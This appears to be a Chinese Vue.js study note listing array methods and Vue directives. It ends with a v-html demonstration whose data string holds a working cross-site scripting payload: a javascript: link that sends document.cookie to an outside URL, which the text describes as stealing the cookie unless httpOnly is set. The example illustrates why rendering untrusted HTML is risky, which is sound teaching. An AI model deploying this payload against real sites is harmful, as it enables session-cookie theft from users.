操作数组的方法 ：
push：数组最后位置新增元素
pop： 删除最后一个元素
shift： 删除第一个元素
unshift：往前面加一个元素
splice：在数组的指定位置插入、删除、替换一个元素
sort： 数组排序
reverse：反转数组
我们学过的指令：
v-bind : 单向绑定解析表达式，可简写为 :XXX
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听，可简写为@
v-if : 条件渲染（动态控制节点是否存在）
v-else : 条件渲染（动态控制节点是否存在）
v-show : 条件渲染（动态控制节点是否展示)
v-text指令：
1.作用：向其所在的节点中渲染文本内容
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
<div id="root">
<div>你好，{{name}}</div>
<div v-html="str"></div>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
name:'木木',
// str:'<a href=javascript:alert(1)>这里有资源，速来！</a>',
str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>这里有资源，速来！</a>',
}
})
</script>
文章来源地址https://www.toymoban.com/news/detail-576247.html
点击连接之后：跳转到我们指定的网址，并且将cookie偷了过来，注意：httpOnly设置了，就拿不到了。
文章来源：https://www.toymoban.com/news/detail-576247.html
到了这里，关于Vue中v-html用法以及指令汇总的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
